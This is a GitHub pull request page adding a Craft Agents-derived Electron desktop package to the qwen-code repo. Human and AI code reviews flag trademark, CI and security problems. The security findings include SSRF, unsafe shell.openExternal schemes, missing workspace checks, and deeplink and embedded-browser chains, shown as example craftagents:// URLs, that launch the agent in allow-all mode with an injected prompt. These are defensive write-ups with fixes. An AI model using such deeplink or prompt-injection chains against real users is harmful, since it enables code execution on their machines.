Skip to content

feat(desktop): Add desktop app package with Qwen ACP SDK integration - #3778

Merged
DragonnZhang merged 447 commits into
mainfrom
dragon/feat-unstable-desktop-app
Jun 11, 2026
Merged

feat(desktop): Add desktop app package with Qwen ACP SDK integration#3778
DragonnZhang merged 447 commits into
mainfrom
dragon/feat-unstable-desktop-app

Conversation

@DragonnZhang

@DragonnZhang DragonnZhang commented Apr 30, 2026

Copy link
Copy Markdown
Collaborator

Summary

  • What changed: Adds the packages/desktop/ package (Craft/Claude Desktop fork) into the monorepo and integrates Qwen ACP SDK for skill discovery, session management, and context usage. Also fixes undici type usage and excludes the desktop package from the root npm workspace to isolate its builds.
  • Why it changed: The desktop app needs to coexist in the monorepo for shared code and unified development, but must be excluded from root workspace to avoid dependency conflicts (desktop uses bun, monorepo uses npm). The ACP SDK integration replaces hardcoded model/provider logic with dynamic discovery.
  • Reviewer focus: The workspace exclusion in package.json, the DispatchHandler → DispatchHandlers type fix in network-proxy.ts, and the overall structure of packages/desktop/.

Validation

  • Commands run:
    cd packages/desktop && bun install && bun run electron:dev

Scope / Risk

  • Main risk or tradeoff: Large diff (~324k lines, 1495 files) from the desktop package addition. The desktop package is excluded from root workspace so npm/bun conflicts should not occur.
  • Not covered / not validated: Desktop app Electron build/run on Windows/Linux; integration tests for the desktop package
  • Breaking changes / migration notes: packages/desktop is excluded from root npm workspace (!packages/desktop in package.json workspaces). This means npm install from root will not hoist desktop dependencies.

Screenshots / Video Demo

image

Testing Matrix

🍏 🪟 🐧
npm run ⚠️ ⚠️
npx ⚠️ ⚠️ ⚠️
Docker ⚠️ ⚠️ ⚠️
Podman ⚠️ N/A N/A
Seatbelt ⚠️ N/A N/A

Testing matrix notes:

  • macOS npm run build verified ✅
  • Windows/Linux not tested in this PR

Linked Issues / Bugs

No linked issues.


🤖 Generated with Qwen Code

@github-advanced-security github-advanced-security AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CodeQL found more than 20 potential problems in the proposed changes. Check the Files changed tab for more details.

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Took a careful pass on this PR. Direction is fine — qwen-code can have a desktop client — but the current shape has several things that need to be sorted before we merge.

Overview

This PR adds 1,497 files / ~325k additions to the qwen-code monorepo. The actual content is the entirety of "Craft Agents" by Craft Docs Ltd. (per packages/desktop/NOTICE: "Craft Agents — Copyright 2026 Craft Docs Ltd."), placed at packages/desktop/ and excluded from the root npm workspace via a one-line negation. Only two existing files in the repo are actually modified — package.json (one line) and package-lock.json (one cosmetic line).

The PR description bills this as adding a "desktop app package with Qwen ACP SDK integration." In practice it's a wholesale code-drop of an external project with light Qwen rewiring, co-located in qwen-code's repo but otherwise architecturally independent.

Critical issues

1. Trademark policy is violated by the PR itself

The PR commits packages/desktop/TRADEMARK.md verbatim, which states forks must:

  • Choose a different name that does not include "Craft"
  • Remove or replace all Craft logos and icons
  • Update the bundle identifier (e.g., com.lukilabs.craft-agent) to your own
  • Remove references to craft.do domains unless connecting to official Craft services

But this PR keeps:

  • name: "craft-agent" in packages/desktop/package.json
  • appId: com.lukilabs.craft-agent, productName: Craft Agents, and copyright: Copyright © 2026 Craft Docs Ltd. in packages/desktop/apps/electron/electron-builder.yml
  • All resources/craft-logos/*.png, resources/icon.icns, resources/icon.ico, resources/Assets.car
  • Reference to legal@craft.do in TRADEMARK.md

Apache-2.0 is satisfied (LICENSE + NOTICE preserved); trademark is a separate matter, and the upstream's policy is being broken by the same commit that ships it. This is the blocker that needs clearing before merge — pick a non-"Craft" product name, change the appId, and replace branding assets.

2. PR description doesn't match the change

  • "Craft/Claude Desktop fork" — NOTICE/TRADEMARK identify the source as Craft Agents by Craft Docs Ltd. There's no Claude Desktop content. Just call it "Craft Agents (a Craft Docs Ltd. project)".
  • "Fixes undici type usage"packages/desktop/apps/electron/src/main/network-proxy.ts is brand new (all + additions). There's no fix to existing code; the Dispatcher.DispatchHandlers usage is just how the imported file was originally written. The PR title and "Reviewer focus" item are misleading here.
  • "Validation: cd packages/desktop && bun install && bun run electron:dev" — only confirms the new package builds. Doesn't validate that qwen-code's existing npm ci / npm run preflight / npm run test:ci still pass.

3. Architectural concern: this is co-location, not integration

The desktop package:

  • Is excluded from the npm workspace (!packages/desktop in package.json) — necessary because packages/* would otherwise glob-match it.
  • Uses bun, while qwen-code uses npm. Two package managers in one repo, with two lockfiles.
  • Has its own husky, eslint, tsconfig, vitest setup — none of which integrate with qwen-code's root lint:all, typecheck, test:ci.
  • Imports nothing from qwen-code packages — network-proxy.ts references @craft-agent/shared/*, all internal to the new tree.
  • Has its workflows at packages/desktop/.github/workflows/*.yml — GitHub Actions only reads workflows from the repo-root .github/workflows/, so these are dead files.

Practical effect of merging: qwen-code's repo grows by ~325k lines, every git clone pulls all of it, but qwen-code's CI doesn't exercise any of it. Worth weighing whether this should instead be:

  • a separate repo under QwenLM (e.g., qwen-code-desktop), or
  • a git submodule, or
  • a real monorepo integration (one package manager, shared linting, shared CI, real package-to-package imports).

A wholesale dump into the existing monorepo is the highest-cost option of the three.

4. Bundled artifact committed as source

packages/desktop/apps/electron/resources/bridge-mcp-server/index.js is 18,276 lines of bundled JS. Almost certainly a build output, not source. Should be generated at build time, not checked in. Same risk likely applies to other generated files I haven't enumerated.

5. package-lock.json change looks accidental

The patch removes "peer": true from a darwin-only optional dependency entry (lines 12842–12843). Unrelated to "exclude desktop from workspace" — looks more like a side-effect of running npm install after editing package.json. Either revert it or note it explicitly; silent lockfile drift is hard to audit later.

Smaller observations

  • packages/desktop/README.md says bun run electron:start, but the validation block in the PR body uses electron:dev. Pick one.
  • packages/desktop/package.json pins "@agentclientprotocol/sdk": "^0.21.0", but qwen-code's root has no shared ACP version pin. Drift between qwen-code's ACP usage and desktop's ACP usage will go undetected.
  • qwen-code's root lint:all runs node scripts/lint.js. Worth confirming this script doesn't recurse into packages/desktop (bun-only subtree, eslint flat config, .cjs rule files, etc.).
  • The desktop tree contains its own LICENSE, CODE_OF_CONDUCT.md, SECURITY.md, CONTRIBUTING.md. Contributors landing there from the root will get confused. Either let root files govern, or add a brief sub-README explaining the divergence.
  • 248 test files were imported but only run via bun test from inside packages/desktop/. They will not block qwen-code releases — make this explicit in CONTRIBUTING ("desktop tests are not gated by qwen-code CI").
  • License headers: qwen-code uses eslint-plugin-license-header. With !packages/desktop excluded from workspace, root eslint won't reach in — but if lint.js does direct file walks, the new tree will trip on header violations.
  • Sub-package licenses: each nested package.json (e.g. packages/desktop/apps/electron/package.json) likely carries its own author/license fields. Worth a quick pass to confirm nothing non-Apache slipped in.

What I'd want to see before merge

  1. Resolve trademark: rename craft-agent to something non-"Craft", update appId, replace logos/icons, drop craft.do references. Keep NOTICE for Apache attribution.
  2. Decide co-location vs. separate repo / submodule. If keeping in-repo, add a top-level note in qwen-code's README pointing at it and clarifying it's bun-managed and excluded from npm.
  3. Don't commit bridge-mcp-server/index.js; generate it at build time.
  4. Remove the dead packages/desktop/.github/workflows/*.yml, or move them to root with a path filter (paths: ['packages/desktop/**']).
  5. Fix the PR description: name the actual upstream (Craft Agents), drop the "fixes undici types" claim (it isn't a fix), and add real validation steps showing qwen-code's existing build/test is unaffected.
  6. Confirm the package-lock.json peer: true removal is intentional.
  7. Either wire the desktop tests into root test:ci, or document explicitly that they're out of scope for qwen-code CI.

Summary

The integration concept is fine — qwen-code can have a desktop client. But this PR as it stands is a 1.5k-file branding-intact code drop that violates its own committed trademark policy, ships a bundled JS artifact, has dead-file workflows, and the description is misleading. The core blocker is #1 (trademark); the rest is fixable cleanup.

中文版本

仔细看了一下这个 PR。整体方向我没意见——qwen-code 完全可以有桌面客户端——但当前形态有几个问题需要在合并前先处理。

概览

这个 PR 向 qwen-code monorepo 添加了 1,497 个文件 / 约 32.5 万行新增。实际内容是 Craft Docs Ltd. 的 "Craft Agents" 项目的整体代码(见 packages/desktop/NOTICE:"Craft Agents — Copyright 2026 Craft Docs Ltd."),被放在 packages/desktop/ 目录下,并通过一行 negation 规则从 npm workspace 中排除。仓库中实际只修改了两个已有文件——package.json(一行)和 package-lock.json(一行无关变更)。

PR 描述把这次改动包装成"添加桌面应用 + Qwen ACP SDK 集成"。但实际上是把一个外部项目整体搬运进来,做了少量 Qwen 相关接线,与 qwen-code 共仓但架构上完全独立。

关键问题

1. PR 自身违反了它一同提交的商标政策

PR 原样提交了 packages/desktop/TRADEMARK.md,文件中明确写着 fork 必须:

  • 选择一个不包含 "Craft" 的名字
  • 删除或替换所有 Craft 标志和图标
  • 更新 bundle identifier(例如 com.lukilabs.craft-agent)
  • 移除对 craft.do 域名的引用,除非是连接到官方 Craft 服务

但这个 PR 仍然保留:

  • packages/desktop/package.jsonname: "craft-agent"
  • packages/desktop/apps/electron/electron-builder.ymlappId: com.lukilabs.craft-agentproductName: Craft Agentscopyright: Copyright © 2026 Craft Docs Ltd.
  • 所有 resources/craft-logos/*.pngresources/icon.icnsresources/icon.icoresources/Assets.car
  • TRADEMARK.md 中对 legal@craft.do 的引用

Apache-2.0 许可本身满足了(LICENSE + NOTICE 都保留了);但商标是另一回事,而且违反的恰好是这次 PR 一并提交的上游政策。这一项是合并前必须先清理掉的核心阻断——选一个不含 "Craft" 的产品名,改 appId,替换品牌资源。

2. PR 描述与实际内容不符

  • "Craft/Claude Desktop fork"——NOTICE/TRADEMARK 文件清楚地表明源头是 Craft Docs Ltd. 的 Craft Agents,与 Claude Desktop 没有任何关系。直接写 "Craft Agents (a Craft Docs Ltd. project)" 即可。
  • "Fixes undici type usage"——packages/desktop/apps/electron/src/main/network-proxy.ts全新文件(全部是 + 新增)。根本没有"修复"任何已有代码;Dispatcher.DispatchHandlers 的类型用法只是被搬运过来的原始写法。PR 标题和 "Reviewer focus" 的这一项有误导性。
  • "Validation: cd packages/desktop && bun install && bun run electron:dev"——这只能证明新包能跑起来,无法证明 qwen-code 现有的 npm ci / npm run preflight / npm run test:ci 仍然正常。

3. 架构问题:这是"共仓",不是"集成"

桌面包的现状:

  • 通过 package.json 中的 !packages/desktop 从 npm workspace 排除——之所以需要这一行,是因为 packages/* glob 会匹配到它。
  • bun,而 qwen-code 用 npm。一个仓库里有两个包管理器、两份 lockfile。
  • 自带 huskyeslinttsconfigvitest 配置——没有任何一项接入 qwen-code 根目录的 lint:alltypechecktest:ci
  • 没有从 qwen-code 包中导入任何东西——network-proxy.ts 中所有导入都来自 @craft-agent/shared/*,即新目录树内部。
  • workflow 文件被放在 packages/desktop/.github/workflows/validate-server.ymlvalidate.yml,但 GitHub Actions 只会读仓库根目录的 .github/workflows/,所以这两个文件等同于死文件

合并的实际后果是:qwen-code 仓库膨胀 32.5 万行,以后每次 git clone 都要拉这些代码,但 qwen-code 的 CI 一点都不会跑到它们。值得先权衡一下是否应该改成:

  • 独立仓库(例如 QwenLM 下的 qwen-code-desktop),或
  • git submodule,或
  • 真正的 monorepo 集成(单一包管理器、共享 lint、共享 CI、包之间真实互相依赖)。

把整棵树直接塞进现有 monorepo,代价是几个方案里最高的。

4. 把构建产物当作源码提交

packages/desktop/apps/electron/resources/bridge-mcp-server/index.js18,276 行的打包 JS。这几乎肯定是构建产物,不是源码,应该在构建时生成,而不是入库。其它没逐一核对的文件也可能有同样的问题。

5. package-lock.json 的改动看起来是误操作

补丁把一个 darwin-only 可选依赖项中的 "peer": true 删掉了(行 12842–12843)。这与"把 desktop 排除出 workspace"无关,更像是改完 package.json 后跑 npm install 的副产物。要么回退,要么说明原因——lockfile 静默漂移以后很难审计。

其他观察

  • packages/desktop/README.md 写的是 bun run electron:start,但 PR 描述的验证命令是 electron:dev。两边应当统一。
  • packages/desktop/package.json 锁定了 "@agentclientprotocol/sdk": "^0.21.0",但 qwen-code 根目录没有共享的 ACP 版本约束——qwen-code 主体和 desktop 的 ACP 版本一旦漂移,谁都发现不了。
  • qwen-code 根 package.jsonlint:allnode scripts/lint.js。需要确认这个脚本不会递归进入 packages/desktop(那是 bun-only 的子树,有 eslint flat config、.cjs 规则文件等)。
  • desktop 子树自带 LICENSECODE_OF_CONDUCT.mdSECURITY.mdCONTRIBUTING.md。从 qwen-code 根目录过来的贡献者会被这些文件搞混。考虑要么以根目录文件为准,要么在子目录加一个简短的 README 解释差异。
  • 搬过来 248 个测试文件,但只能在 packages/desktop 内通过 bun test 跑,不会拦住 qwen-code 的发版。CONTRIBUTING 里要明确写"desktop 测试不属于 qwen-code CI 门禁"。
  • 新文件的 license header:qwen-code 使用 eslint-plugin-license-header!packages/desktop 把根目录 eslint 的扫描挡掉了——但如果 lint.js 是直接 walk 文件,新树里大概率会冒出大量 header 缺失告警。
  • 子包的 license 字段:每个嵌套的 package.json(例如 packages/desktop/apps/electron/package.json)可能各自带 author/license,值得快速过一遍确认没有混入非 Apache 的条目。

合并前我希望看到的条件

  1. 解决商标问题:把 craft-agent 重命名为不含 "Craft" 的名字,更新 appId,替换 logo/图标,移除 craft.do 引用。NOTICE 保留以满足 Apache 署名。
  2. 决定共仓 vs. 独立仓库 / submodule。如果坚持共仓,在 qwen-code 顶层 README 加一段说明:此目录使用 bun 管理,已排除在 npm workspace 之外。
  3. 不要把 bridge-mcp-server/index.js 入库,改为构建时生成。
  4. 删除失效的 packages/desktop/.github/workflows/*.yml,或者把它们挪到根目录并加 path 过滤(paths: ['packages/desktop/**'])。
  5. 修正 PR 描述:写清楚上游真实名称(Craft Agents),撤掉"修复 undici 类型"这一项(它根本不是修复),补充对 qwen-code 现有 build/test 不受影响的验证步骤。
  6. 确认 package-lock.jsonpeer: true 的移除是有意为之。
  7. 要么把 desktop 测试接入根 test:ci,要么在文档里明确写它不在 qwen-code CI 范围内。

总结

集成方向本身没问题——qwen-code 完全可以有桌面客户端。但当前这个 PR 是一次"保留品牌的 1497 文件代码倾倒",违反了它自己一同提交的商标政策,带着打包好的 JS 产物,有死文件 workflow,描述还有误导。核心阻断是 第 1 点(商标);其余都是可以清理的细节问题。


🤖 Generated with Claude Code — Claude Opus 4.7 (1M context)

Comment thread packages/desktop/packages/shared/src/auth/callback-page.ts
Comment thread packages/desktop/apps/electron/src/preload/bootstrap.ts
Comment thread packages/desktop/apps/electron/src/preload/bootstrap.ts
Comment thread packages/desktop/apps/electron/src/main/thumbnail-protocol.ts
Comment thread packages/desktop/packages/server-core/src/handlers/rpc/workspace.ts
Comment thread packages/desktop/apps/electron/scripts/build-dmg.sh Outdated
Comment thread packages/desktop/packages/shared/src/agent/backend/internal/runtime-resolver.ts Outdated
Comment thread packages/desktop/packages/server-core/src/handlers/utils.ts
// ============================================================

// Get files in session directory (recursive tree structure)
server.handle(RPC_CHANNELS.sessions.GET_FILES, async (_ctx, sessionId: string) => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] GET_FILES, WATCH_FILES, GET_NOTES, and SET_NOTES resolve only by global sessionId and never verify that the caller's ctx.workspaceId owns that session. Any authenticated workspace client that learns another session ID can list its files, watch changes, or read/overwrite notes.md. Resolve sessions through a helper that enforces session.workspaceId === ctx.workspaceId before returning the session path.

— gpt-5.5 via Qwen Code /review

const client: ClientConnection = {
id: clientId,
ws,
workspaceId: envelope.workspaceId ?? null,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The WebSocket handshake stores envelope.workspaceId and webContentsId directly in the ClientConnection, and many handlers later trust ctx.workspaceId or request workspace parameters. Any client with the server token can declare an arbitrary workspace identity and operate on other workspace-scoped resources. Bind authenticated clients to an allowed workspace set server-side, validate every workspace parameter against that binding, and do not trust handshake identity alone.

— gpt-5.5 via Qwen Code /review

})

// Cross-server RPC — invoke a channel on an arbitrary remote server
ipcMain.handle('server:invokeOnServer', async (_event, url: string, token: string, channel: string, ...args: unknown[]) => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] server:invokeOnServer IPC SSRF — renderer can connect to any WebSocket URL and invoke any RPC channel

The renderer provides url, token, and channel with zero validation. A compromised renderer can probe internal network services and invoke arbitrary RPC methods on remote servers (e.g., sessions:export to exfiltrate session data).

Suggested change
ipcMain.handle('server:invokeOnServer', async (_event, url: string, token: string, channel: string, ...args: unknown[]) => {
ipcMain.handle('server:invokeOnServer', async (_event, url: string, token: string, channel: string, ...args: unknown[]) => {
// Validate URL scheme and reject private/internal IPs
try {
const parsed = new URL(url)
if (!['ws:', 'wss:'].includes(parsed.protocol)) {
throw new Error(`Blocked non-WebSocket scheme: ${parsed.protocol}`)
}
// Optionally: reject RFC 1918 / link-local / cloud metadata IPs
} catch { throw new Error(`Invalid URL: ${url}`) }
// Optionally: validate channel against an allowlist of safe RPC methods
const { connectToRemote } = await import('./handlers/workspace')
const { client, error } = await connectToRemote(url, token)
if (!client) throw new Error(error ?? 'Connection failed')
try {
return await client.invoke(channel, ...args)
} finally {
client.destroy()
}
})

— glm-5.1 via Qwen Code /review

// Save window state and clean up resources before quitting
app.on('before-quit', async (event) => {
// Avoid re-entry when we call app.exit()
if (isQuitting) return

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] before-quit async re-entry race — second quit not prevented

When isQuitting = true on re-entry, event.preventDefault() is NOT called. Electron ignores async return values and will proceed to quit without waiting for async cleanup (sessionManager.flushAllSessions(), messagingHandle.dispose()) to complete. This can cause data loss on slow machines or when flushing large sessions.

Suggested change
if (isQuitting) return
if (isQuitting) { event.preventDefault(); return }

— glm-5.1 via Qwen Code /review

// Register client-side capability handlers (server can invoke these)
// ---------------------------------------------------------------------------

client.handleCapability(CLIENT_OPEN_EXTERNAL, (url: string) => shell.openExternal(url))

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] CLIENT_OPEN_EXTERNAL capability handler has no URL scheme validation

The preload registers shell.openExternal(url) as a bare passthrough. While today's callers check isSafeExternalUrl(), the capability handler itself has no defense-in-depth. On macOS, shell.openExternal can open file:/// URLs (launching arbitrary executables) and protocol handlers like smb:// that trigger network authentication.

Suggested change
client.handleCapability(CLIENT_OPEN_EXTERNAL, (url: string) => shell.openExternal(url))
client.handleCapability(CLIENT_OPEN_EXTERNAL, (url: string) => {
try {
const parsed = new URL(url)
if (!['http:', 'https:'].includes(parsed.protocol)) {
throw new Error(`Blocked non-HTTP URL scheme: ${parsed.protocol}`)
}
} catch { throw new Error(`Invalid URL: ${url}`) }
return shell.openExternal(url)
})

— glm-5.1 via Qwen Code /review

render(opts) {
const _async = this.async ? "async " : "";
return `${_async}function ${this.name}(${this.args})` + super.render(opts);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Bridge MCP Server SSRF — baseUrl + agent-provided path without origin validation

executeApiTool fetches from config.baseUrl + user-provided path without verifying the final URL's origin matches the configured base. If baseUrl points to an internal service (e.g., http://169.254.169.254), the bridge server fetches with authentication credentials attached.

Suggested change
const finalUrl = new URL(url);
const baseOrigin = new URL(config2.baseUrl).origin;
if (finalUrl.origin !== baseOrigin) {
throw new Error(`Request target ${finalUrl.origin} does not match configured base ${baseOrigin}`);
}

— glm-5.1 via Qwen Code /review


// Validate format
const state = raw as WindowState
if (!Array.isArray(state.windows)) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Window state deserialization has no bounds validation

loadWindowState() reads JSON from disk but only checks Array.isArray(state.windows). The bounds field (x, y, width, height) is passed directly to BrowserWindow.setBounds() without range validation. A corrupted window-state.json could create windows off-screen or with extreme dimensions, effectively soft-locking the app on launch.

Suggested change
if (!Array.isArray(state.windows)) {
if (!Array.isArray(state.windows)) {
return null
}
// Clamp bounds to reasonable screen coordinates
for (const win of state.windows) {
if (win.bounds) {
win.bounds.width = Math.min(Math.max(win.bounds.width, 400), 3840)
win.bounds.height = Math.min(Math.max(win.bounds.height, 300), 2160)
win.bounds.x = Math.min(Math.max(win.bounds.x, -1920), 3840)
win.bounds.y = Math.min(Math.max(win.bounds.y, -1080), 2160)
}
}

— glm-5.1 via Qwen Code /review

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Additional review (second pass on top of @wenshao's existing review)

Not duplicating @wenshao's 12 inline comments and top-level summary. Inline comments below add NEW classes of issue. This body lists pipeline-breakage findings whose anchor files are not part of this PR's diff (so they can't be inline).


Critical — CI / build pipeline breakage (root cause shared with @wenshao's package.json:15 comment)

!packages/desktop was added to package.json workspaces, but the same exclusion is missing from every other root-level tool. Verified by running each tool against the worktree:

  1. eslint.config.js ignores array missing 'packages/desktop/**'npx eslint . --ext .ts,.tsx --max-warnings 0 from root exits 1 with ~2400 errors. Breaks npm run lint:ci (ci.yml Run ESLint, release.yml Run Lint, npm run preflight). Fix: add 'packages/desktop/**' to the ignores array.

  2. .prettierignore missing packages/desktop/npx prettier --check packages/desktop reports 1204 files would be reformatted by root prettier config. npm run format (release.yml Format Project) silently rewrites them in-place; lint-staged rewrites them on every contributor commit; scripts/lint.js --prettier (ci.yml Run Prettier) rewrites on every CI run. Fix: add packages/desktop/ to .prettierignore.

  3. .yamllint.yml ignore block missing 'packages/desktop/' — yamllint produces ~232 errors across desktop's 5 yaml files (mostly [quoted-strings] violations in issue templates and electron-builder.yml). Breaks ci.yml Run yamllint. Fix: append 'packages/desktop/' to the ignore list.

  4. scripts/lint.js shellcheck pipeline picks up ~17 desktop scripts via git ls-files | grep -v '^integration-tests/terminal-bench/' | xargs shellcheck (with --severity=style --enable=all). Likely fails ci.yml Run shellcheck. Fix: add | grep -v '^packages/desktop/' to the chain.

  5. Husky pre-commit blocks contributors editing desktop ts/tsx — lint-staged runs eslint --fix --max-warnings 0 --no-warn-ignored; --no-warn-ignored is a no-op until eslint actually ignores desktop. Verified: npx eslint --fix packages/desktop/apps/cli/src/client.test.ts → 4 errors, exit 1. Fixed automatically by #1.

  6. Nightly release workflow (.github/workflows/release.yml Format Project + Run Lint steps) — same root cause as #1+#2; halts on next cron firing.

Nice to have — CI scope bloat

  • Dockerfile + .dockerignoreCOPY . copies the full ~325k-line desktop tree (including bun.lock, electron resources, bundled bridge-mcp-server/index.js) into the builder. Final image stage uses only *.tgz, so runtime image unaffected — but build context upload + builder cache layers grow by hundreds of MB. Fix: add packages/desktop to .dockerignore.

  • CodeQL scope (.github/workflows/ci.yml codeql job has no paths-ignore) — now scans 1500+ desktop JS/TS files plus the 18,276-line bundled bridge-mcp-server/index.js. Already mirrored by the @github-advanced-security[bot] comment ("CodeQL found more than 20 potential problems"). Fix: add a codeql-config.yml with paths-ignore: ['packages/desktop/**'] (or at minimum the bundled bridge-mcp-server) referenced from the init step.


Audit summary

2 forward + 1 reverse audit rounds across 5 dispatched agents (correctness, security, test coverage, build/CI integration, undirected gap-finder). Each Critical finding traces to a concrete attack chain or verified pipeline break, not theoretical concern. Specifically NOT re-reported (already in @wenshao's review): callback-page.ts XSS, bootstrap.ts TLS verify, bootstrap.ts shell.openExternal capability handlers, thumbnail-protocol.ts path traversal, workspace.ts READ/WRITE_IMAGE caller-supplied workspaceId, url-safety.ts blocklist quality, package.json:15 globbing root cause, build-dmg.sh stale 0.15.2, runtime-resolver.ts:188 home-dir lookup, utils.ts:99 validateFilePath, sessions.ts:406 sessionId authz, server.ts:545 ws handshake trust, trademark policy, bundled bridge-mcp-server, dead packages/desktop/.github/workflows/, lockfile drift, bun-vs-npm split.

— claude-opus-4-7 via Claude Code /qreview

}
}

const shouldSend = parsed.params.input && parsed.params.send === 'true'

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Deeplink craftagents://action/new-session?send=true&mode=yolo&input=… is one-click prompt-injection RCE.

parsePermissionMode('yolo')'allow-all' (packages/desktop/packages/shared/src/agent/mode-types.ts:81); craftagents:// is OS-registered via app.setAsDefaultProtocolClient('craftagents') (packages/desktop/apps/electron/src/main/index.ts:218,222). A single click on <a href="craftagents://action/new-session?input=<attacker-prompt>&send=true&mode=yolo&workdir=/tmp&systemPrompt=…"> from any webpage launches the app and runs the agent in allow-all mode — bypass-all confirmations, attacker-chosen workdir/model/system prompt, auto-send (line 793 electronAPI.sendMessage(session.id, parsed.params.input!, …)).

Impact: Cross-origin webpage → arbitrary local code execution via the agent's Bash/file-write tools. craftagents://action/delete-session/{id} (line 840-844) similarly destroys sessions with no confirmation.

Fix: Reject mode=allow-all/mode=yolo (and any escalation beyond default) from deeplink params unconditionally. For send=true, require an in-app confirmation modal showing workspace/mode/full prompt before any auto-send. Same gate for destructive actions (delete-session, flag-session).

— claude-opus-4-7 via Claude Code /qreview

}
})

pageWc.on('will-navigate', (event, url) => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Embedded browser pane re-triggers craftagents:// deeplinks → zero-click RCE chain on top of the deeplink RCE in NavigationContext.tsx:759.

Both pageWc.on('will-navigate') (line 3013-3018) and setWindowOpenHandler (line 3030-3033) recognize craftagents:// URLs and route them to this.handleDeepLinkUrl(url) (defined at line 2050), which dispatches the same handleDeepLink as the OS-level open-url/second-instance handler. A page rendered in the agent's browser can issue <meta http-equiv="refresh" content="0;url=craftagents://action/new-session?mode=yolo&send=true&input=…"> or window.location='…' and have it dispatched as a fully privileged deep link with no user gesture, no consent, no origin check.

Impact: Zero-click full agent takeover from any visited page. The browser pane is exactly the surface most exposed to prompt injection (the agent is steered into visiting URLs).

Fix: Deny craftagents:// here rather than handle it. Deep links should only be processed when they arrive via app.on('open-url') (macOS) or app.on('second-instance') (Win/Linux) — both originate outside the running app.

Suggested change
pageWc.on('will-navigate', (event, url) => {
pageWc.on('will-navigate', (event, url) => {
if (url.startsWith(CRAFT_DEEPLINK_SCHEME_PREFIX)) {
event.preventDefault()
mainLog.warn(`[browser-pane] denied in-pane deeplink id=${instance.id} url=${url}`)
// Do NOT dispatch handleDeepLinkUrl from in-app webcontents — RCE chain.
}
})

— claude-opus-4-7 via Claude Code /qreview


const allow = new Set([
'fullscreen',
'pointerLock',

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Permission handler grants media, geolocation, notifications, clipboard-read, idle-detection, pointerLock, window-management to any origin with no consent UI.

setupSessionPermissions builds a static allowlist (line 2772-2782) and setPermissionCheckHandler/setPermissionRequestHandler return true whenever the requested permission is in this set — origin-agnostic, no per-origin allowlist, no revoke. The agent's browsing capability lets it navigate to any URL (navigate(id, url) at line 683), so a single visit silently captures camera/mic, reads geolocation, accesses the clipboard.

Impact: Any site the agent visits during research/automation can call navigator.mediaDevices.getUserMedia(), navigator.geolocation.getCurrentPosition(), navigator.clipboard.read() and get an immediate "granted" without surfacing a prompt. With prompt-injection-driven navigation, this turns the desktop app into a covert surveillance tool. More permissive than mainstream browsers (which require explicit per-origin user grants for these).

Fix: Default-deny media, geolocation, clipboard-read, notifications for agent-driven navigations. Persist per-origin grants in workspace storage and prompt via dialog.showMessageBox only on first explicit user-typed/clicked navigation. The non-sensitive subset (fullscreen, pointerLock) can stay always-allowed.

— claude-opus-4-7 via Claude Code /qreview


// Open external links in default browser
window.webContents.setWindowOpenHandler((details) => {
shell.openExternal(details.url)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] shell.openExternal() called with no scheme check — isSafeExternalUrl() is not invoked at all on this path.

Lines 180-183 unconditionally open any URL the renderer requests; lines 186-195 (will-navigate) likewise pass non-internal URLs straight to shell.openExternal(url). @wenshao's existing comment at url-safety.ts:40 covered the quality of the blocklist for the RPC shell.OPEN_URL path; here, the dangerous-scheme blocklist (url-safety.ts:17) is never consulted.

Impact: Renderer-side XSS (e.g. via the SVG sanitizer XSS noted at icon-cache.ts:709) or even an agent tool-output rendering a clickable file:///vscode:///smb:// link triggers shell.openExternal with the attacker URL. On Windows, shell.openExternal('file://attacker-share/payload.exe') triggers SMB hash exfil + arbitrary code launch.

Fix:

Suggested change
shell.openExternal(details.url)
// Open external links in default browser
window.webContents.setWindowOpenHandler((details) => {
if (isSafeExternalUrl(details.url)) {
shell.openExternal(details.url)
} else {
mainLog.warn(`[window] denied unsafe openExternal url=${details.url}`)
}
return { action: 'deny' }
})
// Handle external navigation attempts from renderer WebContents
window.webContents.on('will-navigate', (event, url) => {
// Allow navigation within the app (file:// in prod, localhost dev server)
const isInternalUrl = url.startsWith('file://') ||
(VITE_DEV_SERVER_URL && url.startsWith(VITE_DEV_SERVER_URL))
if (!isInternalUrl) {
event.preventDefault()
if (isSafeExternalUrl(url)) {
shell.openExternal(url)
} else {
mainLog.warn(`[window] denied unsafe will-navigate url=${url}`)
}
}
})

— claude-opus-4-7 via Claude Code /qreview

// Parallel BFS walk that skips ignored directories BEFORE entering them,
// avoiding reading node_modules/etc. contents entirely. Uses withFileTypes
// to get entry types without separate stat calls.
server.handle(RPC_CHANNELS.fs.SEARCH, async (_ctx, basePath: string, query: string) => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] RPC_CHANNELS.fs.SEARCH is REMOTE_ELIGIBLE (packages/desktop/packages/shared/src/protocol/routing.ts:276) but accepts any caller-supplied basePath with no workspace validation. _ctx is unused, no validateFilePath(), no getWorkspaceAllowedDirs(), no workspaceId check.

